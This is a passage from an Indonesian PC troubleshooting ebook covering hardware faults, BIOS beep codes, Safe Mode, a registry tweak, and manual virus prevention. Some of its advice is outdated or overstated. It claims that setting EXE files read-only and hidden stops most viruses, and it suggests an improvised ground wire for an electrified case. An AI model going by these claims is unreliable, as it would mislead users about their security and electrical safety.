tidak putus. Kalau kasusnya<br />masih terus terjadi, konsultasilah, karena bisa jadi sebabnya adalah pengaturan jumper dalam motherboard<br />yang tidak sesuai.<br />Casing Nyetrumm<br />Hal seperti ini terjadi akibat kebocoran arus listrik dari power supply. Matikan PC, cabut semua<br />kabelnya dan ambil kabel tipis dengan panjang kira-kira 1,5 kali tinggi PC.Kelupas salah satu ujung kabel itu,<br />hingga tampak kawat tembaganya sekitar 3 cm. Lilitkan ujung kabel dengan kawat tembaga yang terbuka itu<br />ke salah satu sekrup di belakang bodi PC. Dan biarkan ujung kabel satunya menjuntai ke tanah atau<br />menempel ke tembok<br />- 16 -<br />Kerusakan Motherboard<br />Komputer yang mati/ hang sebelum masuk ke sistem operasi bisa penyebabnya bisa<br />bermacam-macam. Berikut Tips yang sudah pernah saya praktekkan dan hampir selalu berhasil. Pilih yang<br />sesuai dengan permasalahan yang dihadapi, atau lakukan secara bertahap.<br />• Cek Kabel, mulai dari Kabel yang masuk ke UPS/Stabilizer, kabel Power ke Monitor, kabel Monitor<br />ke CPU dan kabel yang masuk ke Komputer. Pastikan pemasangannya telah sesuai dan kencang,<br />serta arus listriknya ada dan cukup.<br />• Jika terdapat CD-ROM / DVD-ROM dan bisa dibuka/tutup, maka kemungkinan permasalahan ada di<br />komputer (CPU), mulai dari kabel power yang masuk ke motherboard atau motherboard itu sendiri,<br />cek pemasangan kabelnya.<br />• Jika dua langkah diatas sudah dicek, dan masih belum menyala, matikan komputer dan Reset BIOS di<br />Motherboard. Caranya bisa dilihat di buku panduan motherboard, dan cari menu Reset BIOS.<br />Biasanya untuk mereset BIOS dapat dilakukan pada Jumper 1 (JP1). Disana ada 3 pin, yang 2<br />diantaranya dihubungkan dengan sebuah konektor kecil. Untuk mereset, tinggal melepas dan<br />memasang di 2 pin yang satunya. Misalnya 3 pin tersebut 1,2,3 dan pin 1 dan 2 sudah terhubung, maka<br />untuk mereset tinggal melepas dan memasang di pin 2 dan 3. Biarkan sekitar 30 detik atau lebih<br />kemudian kembalikan seperti semula. Nyalakan komputer.<br />• Jika BIOS telah di reset dan masih tidak menyala, coba lepas Baterai CMOS, yang ada di<br />motherboard. Diamkan sekitar 1 menit, kemudian dipasang kembali dan nyalakan komputer. Jika<br />baterai sudah cukup lama, lebih dari 3 tahun, ada baiknya diganti dengan yang baru. Apalagi jika jam<br />di komputer sering tidak cocok.<br />• Jika kipas Processor / VGA berputar, tetapi komputer masih belum menyala, maka kemungkinan ada<br />yang tidak beres dengan BIOS motherboard atau Motherboard memang sudah rusak. Mungkin BIOS<br />perlu di Update, tetapi sebelum update, komputer harus bisa menyala (masuk BIOS) terlebih dahulu.<br />Untuk melakukan hal itu, coba lepas kabel Hardisk, CD-ROM, Floppy. Kemudian, lepas Memori<br />- 17 -<br />komputer (RAM) dan ganti di slot yang lain atau gunakan memori komputer lain. Hal ini mungkin harus<br />diulangi sampai beberapa kali, hingga ada tanda-tanda kehidupan…<br />• Jika CPU sudah kelihatan bekerja, hardisk berputar dan lampu led CPU berkedip-kedip tetapi<br />monitor tidak ada tampilannya, maka kumungkinan VGA ( Kartu Grafis) komputer yang bermasalah.<br />Coba ganti dengan VGA lain atau cek VGA tersebut di komputer lain (Hal ini jika VGA tidak jadi satu<br />dengan motherboard).<br />Jika dengan semua langkah diatas, komputer juga belum menyala, mungkin komputer perlu di service orang<br />yang lebih ahli.<br />Safe Mode, Manfaat dan Penggunaannya<br />Bagi sebagian besar kita ( pengguna komputer) mungkin tidak asing lagi dengan istilah<br />Safe Mode. Fitur ini di sediakan di sistem operasi Windows, untuk berbagai tujuan.<br />Misalnya untuk memeriksa atau memperbaiki kerusakan pada sistem windows,<br />menghapus virus, memeriksa kerusakan driver dan lainnya.<br />Bagaimana mengaktifkan Safe Mode dan apa saja yang dapat dimanfaatkan ketika kita sudah masuk Safe<br />Mode ?<br />Apa itu Safe Mode ?<br />Safe mode merupakan opsi pilihan start up windows yang fungsi utamanya menangani jika ada masalah<br />dengan sistem. Windows akan berjalan dengan kondisi minimal, hanya file-file dan driver yang penting saja<br />yang di aktifkan, termasuk juga software-software tambahan sebagian besar tidak diaktifkan. Kemudian<br />ketika sudah masuk safe mode, maka akan tampak tulisan “Safe Mode” di pojok atas windows.<br />Cara Masuk ke Safe Mode<br />Salah satu cara yang dapat digunakan di hampir semua sistem windows termasuk windows Vista adalah<br />dengan menekan tombol F8 ketika windows sedang booting ( atau ketika komputer mulai menyala dan<br />- 18 -<br />tampil informasi Memory / hardware ). Setelah itu akan tampil beberapa menu pilihan booting komputer,<br />seperti berikut :<br />Beberapa penjelasan dari Advande Options Menu<br />Selain menu untuk memilih Safe mode, ada berbagai menu lainnya yang bisa dipilih. Berikut beberapa<br />penjelasan menu-menu tersebut :<br />• Safe Mode, opsi ini berarti windows akan berjalan hanya menggunakan minimal file dan driver<br />termasuk juga software-softwarenya.<br />• Safe Mode with Networking, opsi ini seperti safe mode ditambah dengan driver sehingga kita bisa<br />memanfaatkan Jaringan ( Networking)<br />• Safe Mode with Command Prompt, sama seperti safe mode hanya saja program Command<br />Prompt / MS-DOS Prompt ( cmd.exe) akan langsung aktif ( bukannya explorer)<br />• Enable Boot Logging, windows akan membuat file Ntbtlog.txt, ketika start up dan informasi start<br />up tersebut akan disimpan di file tersebut. File ini biasanya disimpan di sistem root, misalnya drive C:<br />• Enable VGA Mode. Windows akan berjalan dengan tampilan mode minimal misalnya 640×480<br />atau 800×600. Biasa digunakan untuk memeriksa kerusakan atau error [driver] VGA (tampilan<br />grafik windows).<br />• Last Known Good Configuration, menjalankan windows menggunakan informasi registry yang<br />- 19 -<br />telah disimpan ketika terakhir shutdown. Gunakan jika kita salah mengubah konfigurasi sistem, atau<br />ketika windows gagal masuk ke tampilan utama.<br />Beberapa manfaat Safe Mode<br />• Uninstall software yang sebelumnya menyebabkan komputer hang, error dan sebagainya. Kadang<br />setelah di install program tertentu windows bermasalah, maka jika tidak bisa di uninstall melalui mode<br />biasa gunakan Safe Mode.<br />• Menonaktifkan aplikasi atau program tertentu. Untuk memudahkan setelah masuk ke Safe Mode,<br />bisa menggunakan aplikasi Autoruns yang bisa diperoleh gratis dari SysInternals. Teknik ini juga bisa<br />dimanfaatkan untuk memeriksa loading komputer yang lambat. Jika tidak ada Autoruns, bisa<br />mengetikkan MSCONFIG di menu Run, untuk menjalankan Sistem Configuration Utility, jika<br />sudah tampil dipilih melalui tab Startup.<br />• Memeriksa permasalahan dengan tampilan grafik windows (VGA). Ketika tampilan windows<br />bermasalah, bisa di cek dengan memilih “Enable VGA Mode”, jika berhasil dan tidak melihat<br />masalah, kemungkinan masalah di driver VGA.<br />• Menghapus file/virus yang tidak bisa melalui mode biasa. Sebagian antivirus masih bisa dijalankan di<br />safe mode, dan bisa dicoba scan melalui safe mode. Kadang virus tidak berjalan di safe mode, meski<br />banyak juga yg bisa berjalan/atif meski di Safe Mode.<br />• Menjalankan System Restore jika sebelumnya diaktifkan, sehingga kondisi sistem bisa dikembalikan<br />ke keadaan sebelumnya.<br />• Menjalankan berbagai fitur dari Control Panel, Administrative tools dan sebagainya.<br />• Membuka Registry Editor, baik untuk memeriksa maupun untuk mengedit sebagian isinya.<br />Safe Mode merupakan fitur standard Windows dan terkadang cukup bermanfaat untuk beberapa masalah<br />seperti diatas, walaupun terkadang seperi virus juga bisa aktif didalam mode ini, sehingga menggunakan safe<br />mode saja tidak cukup.<br />Hapus Tombol [Turn Off Computer] di Welcome Screen<br />1. . Klik [Start] > [Run...] kemudian ketik regedit32.exe<br />2. Masuklah ke Sub key<br />KEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system.<br />- 20 -<br />3. Carilah DWORD value yang bernama Shutdownwithoutlogon di bagian kanan Jendela kemudian<br />klik dua kali entry tersebut.<br />4. Ubahlah value datanya yang sebelumnya bernilai 1 menjadi 0.<br />5. Tutup Registry Editor, kemudian Restart Windows Anda<br />Cara menangani komputer rusak<br />Jika PC sering kali menunjukan adanya peng-alamatan yang rumit, atau menampilkan suatu pesan<br />error, mengeluarkan bunyi beep yang terus menerus secara beraturan atau tidak beraturan, PC tersebut<br />kemungkinan besar sedang dalam masalah, saya akan memberikan Tips dan solusi untuk mengatasi masalah<br />tersebut dan<span style="font-weight: bold;"> PC</span> Anda dapat berfungsi kembali seperti sedia kala.<br />Masalah atau kerusakan yang timbul biasanya dikategorikan dalam 2 jenis kerusakan yaitu : Masalah atau<br />kerusakan Hardware dan Software<br />Jenis Kerusakan Dapat dikategorikan menjadi 2 kategori, yaitu :<br />1. Kerusakan Pada Hardware (Perangkat Keras)<br />2. Kerusakan Pada Software (Perangkat Lunak)<br />Kerusakan pada Hardware :<br />Masalah dengan komponen Hardware perlu penanganan yang serius karena sulit dilokalisir dan<br />disingkirkan tanpa tools yang tepat, keahlian dan pengalaman yang menunjang. Penjelasan akan berkisar<br />pada masalah yang sering terjadi disertai dengan cara mengatasinya.<br />v Kerusakan Pada Power Supply<br />Gejala :<br />Setelah dihidupkan PC tidak bereaksi apa-apa, tidak ada tampilan di monitor, tidak ada lampu indikator<br />(led) yang menyala, kipas power supply tidak berputar, lampu indikator pada monitor tidak menyala.<br />Solusi :<br />Periksalah apakah kabel terhubung dengan benar dan steker terpasang dengan baik pada soketnya, periksa<br />juga apakah ada tombol on/off dibelakang tepatnya dibelakang Power Supply sudah dalam posisi On, Jika<br />sudah yakin terpasang dengan benar tapi tetap tidak ada respon untuk meyakinkan silahkan anda ganti kabel<br />- 21 -<br />power dengan yang anda yakini bagus. Masalah terjadi karena tidak adanya tegangan listrik yang masuk,<br />kerusakan ada pada kabel power.<br />Masalah :<br />Setelah dihidupkan PC tidak bereaksi apa-apa, tidak ada tampilan di monitor, tidak ada lampu indikator<br />(led) yang menyala, kipas power supply tidak berputar, lampu indikator pada monitor menyala.<br />Solusi :<br />Lakukan seperti langkah diatas, tetapi jika masih belum ada respon berati masalah ada pada Power Supply,<br />Silahkan anda ganti PS nya, Saya sarankan sebaiknya anda ganti saja Power Supply yang rusak dengan yang<br />baru, dan hati-hatilah dalam pemasangannya.<br />Catatan : Jika kerusakan hanya pada Power Supply saja, Setelah anda menggantinya, komputer akan<br />kembali bekerja dengan normal. Kecuali jika ada masalah pada komponen yang lainnya seperti Mother<br />Board, VGA Card dan Memory.<br />v Kerusakan Pada Mother Board<br />Gejala :<br />Setelah dihidupkan, tidak ada tampilan di monitor, lampu indikator (led) di panel depan menyala, lampu<br />indikator (led) monitor berkedip-kedip, kipas power supply dan kipas procesor berputar, tidak ada suara<br />beep di speaker.<br />Solusi :<br />Langkah pertama lepas semua kabel power yang terhubung ke listrik, kabel data ke monitor, kabel<br />keyboad/mouse, dan semua kabel yang terhubung ke CPU, kemudian lepas semua sekrup penutup cashing.<br />Dalam keadaan casing terbuka silahkan anda lepaskan juga komponen-komponen lainnya, yaitu kabel<br />tegangan dari power supply yang terhubung ke Motherboard, harddisk, floppy, hati-hati dalam<br />pengerjaannya jangan terburu-buru. Begitu juga dengan Card yang menempel pada Mboard (VGA, Sound<br />atau Card lainnya). Sekarang yang menempel pada cashing hanya MotherBoard saja. Silahkan anda periksa<br />Motherboadnya dengan teliti, lihat Chip (IC), Elko, Transistor dan yang lainnya apakah ada yang terbakar.<br />Jika tidak ada tanda-tanda komponen yang terbakar kemungkinan Motherboard masih bagus, tapi ada<br />kalanya Mother board tidak jalan karena kerusakan pada program yang terdapat di BIOS<br />Gejala :<br />Pada saat CPU dinyalakan kemudian melakukan proses Post setelah itu proses tidak berlanjut dan diam<br />- 22 -<br />beberapa saat tidak langsung masuk ke operating system, dan kemudian di layar monitor ada pesan<br />“harddisk error, harddisk Failur, setelah itu muncul pesan “press F1 to continou” setelah kita menekan<br />tombol F1 tidak masuk Operating system dan muncul pesan “Operating system not found”.<br />v Kerusakan Pada Harddisk<br />Solusi :<br />Periksa kabel tegangan dan kabel data yang masuk ke harddisk apakah longgar, sebaiknya dikencangkan,<br />kemudian nyalakan dan coba anda dengarkan apakah suara yang keluar dari harddisk normal, jika tidak<br />normal berati harddisk rusak di controllernya.<br />Gejala :<br />Pada saat CPU dinyalakan kemudian melakukan proses Post setelah itu muncul pesan “Operating system not<br />found”.<br />Solusi :<br />Ada kemungkinan Operating system rusak, bisa diatasi dengan install ualng atau jika OS anda menggunakan<br />windows 2000/XP ada Fasilitas Repairnya. atau ada kemungkinan juga harddisk anda tidak terdeteksi dan<br />lakukan langkah diatas<br />Gejala :<br />harddisk bad sector?<br />Solusi :<br />Ada beberapa faktor penyebab terjadi bad sector diantaranya, tegangan listrik tidak stabil, sering terjadi<br />putusnya aliran listrik secara mendadak, setelah pemakaina tidak di shot down, pemakaian yang terlalu lama,<br />ada 2 jenis bad sector yaitu fisik dan software…..Untuk mengatasinya ada beberapa cara, diantaranya<br />menggunakan software untuk menghilangkan badsector….pembahan lebih lanjut ada di eBook Metode<br />perbaikan komputer dan bisa anda dapatkan jika anda bergabung menjadi Member Aktif.<br />v Kerusakan CD/DVD/ROM/RW & Floppy Disk<br />Gejala :<br />Jenis kerusakan yang biasa ditemui :<br />1. Tidak terdeteksi di windows<br />2. Tidak bisa keluar masuk CD<br />- 23 -<br />3. Tidak bisa membaca/menulis/hanya bisa membaca saja. (CD)<br />4. Tidak bisa membaca/menulis/write protect (Floppy disk)<br />Solusi :<br />1. Periksa kabel data dan kabel tegangan yang masuk ke CD-floppy, perikas di setup bios apakah sudah<br />dideteksi? sebaiknya diset auto. Periksa apakah led menyala, jika tidak kerusakan di Controllernya.<br />2. Kerusakan ada pada mekanik motor atau karet motor.<br />3. Kerusakan Biasanya pada optik, tetapi ada kemungkinan masih bisa diperbaiki dengan cara men-set ualng<br />optik tersebut.<br />4. Head Kotor, bisa dibersihkan menggunakan Cutenbud (langkah-langkah diatas secara lengkap dapat<br />anda temukan di e-book “Metode perbaikan komputer cepat dan akurat” dan bisa anda dapatkan jika anda<br />bergabung menjadi member perbaikankomputer.com<br />Masalah BIOS<br />Gejala :<br />Hati-hati dalam Update Bios, ketika meng-Update anda keliru memilih versi Bios, PC jadi tidak jalan bahkan<br />anda tidak dapat masuk ke BIOS.<br />Solusi :<br />Biasanya Update tidak dapat dibatalkan, hanya jenis Motherboard tertentu yang memiliki backup BIOS<br />pada Chip-nya, Disitu tersimpan jenis asli BIOS yang tidak dapat dihapus, untuk dapat merestore-nya anda<br />tinggal memindahkan Posisi Jumper khusus yang biasanya sudah ada petunjuk di buku manualnya. Kemudian<br />hidupka PC dan tunggu 10 detik, BIOS yang asli telah di Restore, kembalikan Posisi Jumper pada posisi<br />semula, dan PC siap dijalankan kembali. Jika Motherboard tidak memiliki pasilitas tersebut, Chip BIOS<br />harus dikirim ke Produsen, Jenis BIOS dapat anda lihat di buku manualnya. Berhati-hati dalam<br />pemasangannya jangan sampai kaki IC BIOS patah atau terbalik Posisinya.<br />Gejala :<br />CPU mengeluarkan suara Beep beberapa kali di speakernya dan tidak ada tampilan ke layar monitor,<br />padahal monitor tidak bermasalah.<br />Solusi :<br />Bunyi Beep menandakan adanya pesan kesalahan tertentu dari BIOS, Bunyi tersebut menunjukan jenis<br />- 24 -<br />kesalahan apa yang terjadi pada PC, Biasanya kesalahan pada Memory yang tdk terdeteksi, VGA Card,<br />yang tidak terpasang dengan baik, Processor bahkan kabel data Monitor pun bisa jadi<br />penyebabnya.Silahkan anda periksa masalah tersebut.<br />Berikut Pesan kesalahan BIOS :<br />Bunyi kesalahan BIOS biasanya tidak semua. Motherboard menandakan kesalahan yang sama tergantung<br />dari jenis BIOS nya.<br />[AMI BIOS]<br />Beep 1x : RAM/Memory tidak terpasang dengan Baik atau Rusak, Beep 6x : Kesalahan Gate A20 -<br />Menunjukan Keyboard yang rusak atau IC Gate A20-nya sendiri, Beep 8x : Grapihic Card / VGA Card<br />tidak terpasang dengan baik atau Rusak, Beep 11x : Checksum Error, periksa Batre Bios, dan ganti dengan<br />yang baru.<br />[AWARD BIOS]<br />Beep 1x Panjang : RAM/Memory tidak terpasang dengan Baik atau Rusak, Beep 1x Panjang 2x Pendek :<br />Kerusakan Pada Graphic Card (VGA), Periksa bisa juga Pemasangan pada slotnya tidak pas (kurang<br />masuk), Beep 1x Panjang 3x Pendek : Keyboard rusak atau tidak terpasang. Beep Tidak terputus / bunyi<br />terus menerus : RAM atau Graphic Card tidak terdeteksi.<br />Batrey CMOS Rusak / Lemah<br />Gejala : Muncul Pesan CMOS Checksum Vailure / Batrey Low, diakibatkan tegangna yang men-supply IC<br />CMOS/BIOS tidak normal dikarenakan batrey lemah, sehingga settingan BIOS kembali ke<br />Default-nya/setingan standar pabrik, dan konfigurasi Hardware harus di Set ulang.<br />Solusi : Segera Ganti Batrey nya<br />Gejala : CPU yang sering Hang?<br />Solusi : Ada beberapa faktor terjadi hanging diantaranya : Ada BadSector di Harddisk, Ada Virus, Ada<br />masalah di Hardware seperti Memory Kotor/Rusak, MBoard Kotor/Rusak, Cooling Fan perputaran fan nya<br />sudah lemah, Power Supply tidak stabil…..sebaiknya jangan dipaksakan untuk digunakan karena akan<br />berakibat lebih fatal, silahkan hub: kami untuk dapat mengatasi masalah tersebut<br />Gejala : Komputer sering tampil blue screen apa penyebabnya?<br />Solusi : Pesan Blue Screen bisa disebabkan system windows ada yang rusak, Bisa dari Memory, Bisa dari<br />hardisk, bisa dari komponen lainnya, tergantung pesan blue screen yang ditampilkan.<br />- 25 -<br />Gejala : Komputer jadi lebih lambat dari sebelumnya, padahal awalnya tidak begitu lambat<br />Solusi : Penyebab komputer anda prosesnya lambat ada beberapa faktor yaitu : Space hardisk terlalu penuh,<br />terlalu banyak program / software yang memakan space harddisk dan memory, ada virus, harddisk<br />badsector.<br />Cara Mudah Proteksi komputer anda dari virus tanpa program Antivirus &<br />Firewall<br />Untuk mencegah virus, trojan, worm dan sejenisnya dengan memakai antivirus?, belum tentu<br />berguna. Karena virus selalu lebih baru dari antivirus, kalau proteksi dengan program firewall & Antivirus<br />RTS? (Real Time System), bisa juga... cumannya komputer anda akan berjalan lebih lambat, karena<br />program tersebut residen di memory dan memakan system resource lagi pula setiap anda membuka program<br />baru, selalu akan muncul pertanyaan apakah program ini boleh dijalankan.<br />Jadi solusi yang aman, cepat dan praktis bagaimana? Nah baca lebih lanjut artikel ini. Artikel ini<br />sengaja ditulis bagi anda yang ingin mencegah kerusakan system, file dan data anda tanpa perlu campur<br />tangan antivirus dan firewall alias MANUAL.<br />Pertama-tama akan kami jelaskan definisi dan bagaimana virus, trojan, worm dan sejenisnya bisa masuk ke<br />dalam sistem komputer anda.<br />Ø Virus sebenarnya lain dengan trojan atau worm, tapi pada prakteknya penyebarannya virus<br />banyak di maanfaatkan oleh program worm dan trojan. Trojan adalah sebuah program yang<br />dapat dijalankan (biasanya ber-ekstension EXE) oleh pengguna komputer dan ketika<br />program tersebut dijalankan, dia akan merubah sesuatu dari sistem komputer kita (pada<br />umumnya registri windows yang diubah). Nah kalau virus itu residen di memori dan dia akan<br />merubah file yang biasanya ber-ekstension EXE atau COM dan kadang-kadang file tersebut<br />menjadi rusak. Kalau worm (cacing) merupakan program kecil yang berupa script yang bisa<br />nempel di mana aja, bahkan bisa nempel di html file (file website).<br />Program antivirus pada umumnya menggabungkan semua worm dan trojan dalam kategori<br />VIRUS, cuma mungkin dikasih kode virusnya contoh yang worm di kasih kode W<br />depannya baru nama worm tersebut (contoh: w32/sober) dan kita juga akan<br />menggangapnya sama karena semua itu merusak sistem file komputer. Intinya virus bisa<br />berupa atau berfungsi seperti trojan/worm dan sebaliknya juga, apalagi kalau file tersebut<br />- 26 -<br />telah ter-infeksi, otomatis akan menjadi file trojan/worm juga, karena kalau pengguna<br />membukanya akan meng-infeksi file-file lainnya.<br />Ø Penyebaran virus dulunya hanya bisa melalui media luar seperti disktet, tapi di jaman ini<br />virus pada umumnya memanfaatkan teknologi internet untuk menyebar luas. Cara masuknya<br />bisa melalui E-mail (attachment), mirc, messenger (kirim/download file), download dr situs<br />(terutama situs porno) atau bahkan memanfaatkan kelemahan dari sistem browser kita.<br />Banyak cara pembuat virus untuk menjebak orang supaya tertarik untuk men-download dan<br />membuka file yang ber-virus, antara lain dengan iming-iming gambar porno, gambar lucu,<br />tools yang berguna buat anda, cara dapat uang, games bagus, hingga yang baru-baru ada<br />pesan dr FBI/CIA untuk anda.<br />Sebenarnya cara mengatasi virus itu cukup mudah, antara lain:<br />Ø Jangan membuka atau menerima file yang di dapat dr email, mirc dan messenger kalau anda belum<br />kenal dengan pengirimnya dan belum yakin file itu berisi virus.<br />Ø Kalau anda browser ke situs yang tidak anda kenal, matikan program java & java script. Matikan<br />juga fitur install auto atau install on demand supaya program yang berisi virus tidak akan masuk<br />secara otomatis ke komputer anda.<br />Ø Kalau membuka disket, CD, DVD, USB drive dan media luar apapun bentuknya, scan dahulu<br />dengan program antivirus untuk memastikan itu benar-benar aman.<br />Tips di atas mungkin akan mencegah masuknya virus ke komputer anda, tapi tidak akan 100% pasti<br />komputer anda tidak terkena virus, bisa saja anda kecolongan. Lebih dari 90% komputer yang terkoneksi di<br />Internet pernah terkena virus. Nah untuk mengatasi supaya anda aman dari virus, walaupun virus tersebut<br />sempat masuk ke komputer anda, berikut ini adalah caranya:<br />Ø Virus pada umumnya akan merusak dan memperlambat proses kerja komputer. Untuk<br />menghindari kerusakan yang ditimbulkan virus, anda harus punya cadangan penyimpanan data<br />atau file system. Untuk itulah backup system & data sangat diperlukan, apalagi kita tidak akan<br />mengetahui virus di masa yang akan datang akan secanggih apa dan efek kerusakan yang<br />ditimbulkan sejauh apa. cara backup pada winXp dan winme dengan create restore point<br />dahulu di program> accesories> system tools> system restore, win98 bisa pakai Microsoft<br />Backup dengan membackup folder windows semuanya. Khusus untuk data, Winxp dan winme<br />juga harus menggunakan Microsoft Backup, karena system restore tidak 100%<br />mengembalikan data anda.<br />Kalau anda males melakukannya secara manual, winxp dan winme sudah otomatis<br />- 27 -<br />melakukannya setiap anda mematikan komputer anda, Untuk win98 satu-satunya cara hanya<br />memakai program system schedule windows atau program lainnya yang berfungsi sebagai<br />otomatis backup, ketika komputer lagi idle. tapi untuk pastinya, winxp dan winme juga harus<br />memakai program tersebut supaya bila terjadi apa-apa, anda tinggal me-restore kembali. Bila<br />komputer anda hari ini terkena virus, anda tinggal restore system sebelumnya atau yang kemarin.<br />Cara ini adalah untuk mencegah virus merusak file system kita yang biasanya berakhiran EXE,<br />dan Sebelum anda melakukan hal ini, anda harus terlebih dahulu membackup system windows<br />anda (baca keterangan no 1 di atas), karena penulis takut anda melakukan kesalahan yang dapat<br />berakibat fatal terhadap system anda. Anda juga harus mempunyai dasar Windows untuk<br />melakukan ini, kalau tidak, anda akan bingung dan kesulitan untuk memahaminya.<br />Ø Caranya cukup mudah, anda tinggal merubah attribut dari file EXE anda menjadi<br />READ ONLY alias cuma bisa dibaca, tidak bisa ditulis. caranya bisa anda menggunakan<br />SEARCH dari windows anda, kemudian cari semua program yang ber-ektenstion EXE<br />(search key-nya *.exe) di folder windows. Setelah itu blok semua program yang tampil<br />(atau tekan ctrl+a) terus klik kanan pilih properties. Setelah itu pilih READ-ONLY di<br />bagian bawah kotak pilihan atributes. Bagi yang tahu DOS (command prompt) bisa<br />menggunakan perintah ATTRIB, fungsinya sama saja dengan cara di atas. contoh:<br />c:\windows>attrib +r *.exe<br />Hal ini akan mencegah virus untuk merubah atau merusak file-file tersebut, karena<br />pilihan tadi mematikan fitur untuk merubah file-file tersebut. Kalau anda ingin lebih<br />yakin virus bisa mendeteksi hal tersebut, anda bisa tambahkan pilihan HIDDEN<br />(menyembunyikan file tersebut) di sebelah kanan dari READ ONLY. Dengan kedua<br />pilihan tersebut virus-virus pada umumnya tidak akan dapat menginfeksi file tersebut.<br />Kalau anda ingin menampakan file HIDDEN ketika membuka folder di komputer anda,<br />anda bisa pilih "show all hidden files" di "folder option".<br />Anda juga bisa melakukan hal di atas ke semua folder komputer anda, kalau anda merasa hal<br />ini perlu dilakukan, atau mungkin dilakukan juga ke file lain yang bukan ber-ekstensi EXE atau<br />COM. Cara ini adalah cara yang paling efektif dan telah diuji coba oleh penulis. Satu hal yang<br />penting diketahui, kalau anda ingin melakukan penghapusan atau perubahaan ataupun anda<br />sering meng-update file yang ber-ekstensi EXE tersebut, anda harus ingat untuk membuka<br />proteksi read-only atau hidden tersebut. Kalau tidak file tersebut tidak akan bisa dihapus atau<br />- 28 -<br />diupdate, dan akan muncul pesan error.<br />Ini adalah salah satu cara untuk memproteksi file, cara lainnya dan cara Untuk mengetahui cara<br />virus merusak/merubah file, membasmi atau menghapus virus secara manual, akan penulis<br />bahas di kesempatan lain.<br />10 Jurus Sakti Antivirus dan Worm<br />Mencegah lebih baik daripada mengobati. Pepatah ini ternyata berlaku juga di dunia komputer.<br />Daripada mengeluarkan biaya besar untuk mengobati komputer, lebih baik sedini mungkin melakukan<br />pengamanan yang dapat menjauhkan komputer Anda dari serangan virus. Berikut sepuluh virus sakti untuk<br />mengelakkan serangan virus dan worm pada komputer Anda:<br />1. Selalu lakukan Scan terhadap disket yang masuk ke dalam PC Anda.<br />Meski nampaknya sepele, tapi hal kecil ini akan membantu melindungi komputer Anda dari virus<br />yang ditularkan melalui perilaku tukar menukar disket. Jika sebuah PC terinfeksi oleh virus, maka<br />disket yang dimasukkan kedalamnya, kemungkinan besar akan terinfeksi juga. karena itu, jangan<br />sembarangan membuka disket milik teman pada komputer Anda, sebelum disket itu lolos seleksi<br />scandisk. Jika ternyata program scandisk dapat mendeteksi keberadaan virus tetapi tidak dapat<br />menyembuhkannya, jangan memaksa untuk membuka file pada disket tersebut. Toh, ini juga bisa<br />menjadi semacam warning bagi Anda, supaya segera melengkapi komputer Anda dengan penangkal<br />virus.<br />2. Scan juga CD yang masuk kedalam CD drive Anda.<br />Meski tampaknya lebih eksklusif dan aman, tetapi CD ternyata juga memiliki potensi yang sama<br />seperti disket, dalam menularkan virus. Karena itu, jangan lengah! Tetap lakukan scan terhadap<br />sebuah CD yang akan dipasang pada komputer Anda, sekalipun CD itu baru saja dibeli dari toko.<br />3. Lakukan scan terhadap harddisk Anda, tiap kali Anda akan mulai bekerja dengannya.<br />Sebagaimana balita yang selalu diperiksa kesehatannya, PC Anda juga harus selalu dipantau apakah<br />masih sehat atau telah terinfeksi oleh virus. Lagipula dengan melakukan scan terhadap harddisk<br />sebelum memulai suatu pekerjaan, Anda mengurangi resiko gangguan yang diakibatkan oleh virus<br />selama proses kerja Anda. Selain itu, juga memperkecil peluang terjadinya kerusakan pada file<br />Anda.<br />4. Proteksi disket Anda, jika Anda memasukkannya ke dalam PC orang lain.<br />Seperti telah disebutkan diatas, jika Anda terpaksa harus memasukkan disket milik Anda ke dalam<br />- 29 -<br />komputer orang lain, maka disket Anda perlu diproteksi terlebih dahulu. Konsekuensinya, Anda<br />tidak dapat melakukan perubahan terhadap file yang tersimpan dalam disket tersebut.<br />5. Jangan sembarangan men-download attachment.<br />Dewasa ini banyak jenis worm yang mengirimkan copy dirinya dalam bentuk attachment e-mail.<br />Misalnya worm Miss world. karena itu Anda jangan sembarang membuka attachment jika alamat<br />pengirim tidak Anda kenal. Bahkan meskipun Anda mengenali alamat pengirim, jika tidak ada<br />kesepakatan sebelumnya bahwa orang tersebut akan mengirimkan e-mail berikut attachment, maka<br />sebaiknya Anda menghapus saja attachment tersebut. Tidak peduli betapapun menariknya subjek<br />attachment tersebut. Karena banyak pencipta worm, memanfaatkan keingintahuan seseorang agar<br />mau membuka attachment maut tersebut. Misalnya virus Jenifer Lopez dan worm Miss world yang<br />dikatakan memuat gambar bugil Jenifer Lopez dan gambar Miss world dalam kostum bikini.<br />6. Selektif dalam membuka e-mail.<br />Begitu juga hukum yang berlaku dalam membuka e-mail. sejumlah virus dan worm menduplikasi<br />dirinya dan mengirimkan copy tersebut pada seluruh alamat e-mail yang tertera pada address book<br />Microsoft Outlook Express komputer yang diserangnya. Dengan demikian, si calon korban tidak<br />akan menaruh kecurigaan dan dengan segera akan membuka e-mail beracun tersebut. Karena itu,<br />jika Anda menerima e-mail dari seseorang yang Anda kenal, tetapi dengan subjek yang aneh<br />sebaiknya langsung hapus saja e-mail itu. Kecuali Anda berdua memang sudah membuat janji<br />sebelumnya.<br />7. Memasang dan selalu meng-update program antivirus pada komputer Anda.<br />Terkadang, orang yang masih awam dibidang komputer, merasa sudah aman jika sudah memasang<br />program Norton atau MacAffee. Anda salah! Program antivirus itu memiliki masa kadaluarsa juga<br />seperti makanan kaleng. Karena itu, Anda harus selalu meng-update program antivirus Anda. karena<br />program antivirus yang sudah expired, tidak akan punya gigi lagi untuk menahan serangan virus pada<br />komputer Anda.<br />8. Selalu mengikuti perkembangan berita terbaru tentang virus.<br />Selain memiliki masa kadaluarsa, program antivirus ini juga selalu mengalami update sehubungan<br />dengan virus-virus baru yang terus di-release. Para ahli terus menerus melakukan pengembangan<br />untuk menandingi pencipta virus yang juga berlomba-lomba menciptakan virus yang lebih ganas dari<br />hari ke hari. Karena itu Anda harus rajin mengikuti berita tentang perkembangan virus yang terbaru.<br />Setelah itu, Anda dapat mencari di internet perusahaan antivirus terbaru yang telah meng-update<br />produknya untuk mengantisipasi serangan virus baru tersebut. Banyak sekali perusahaan software<br />antivirus yang menyediakan fasilitas download gratis melalui internet.<br />- 30 -<br />9. Men-download Microsoft Outlook Security Patch ke dalam sistem komputer Anda.<br />Sebagaimana diketahui, tidak ada program software yang sempurna. Maksudnya, pasti ada bug atau<br />titik lemah di dalam software itu. demikian juga halnya yang terjadi dengan aplikasi Microsoft<br />Outlook Express. Karena itu, dengan men-download Microsoft Outlook Security Patch ke dalam<br />sistem komputer Anda, berarti Anda telah menanggulangi bug yang ada pada 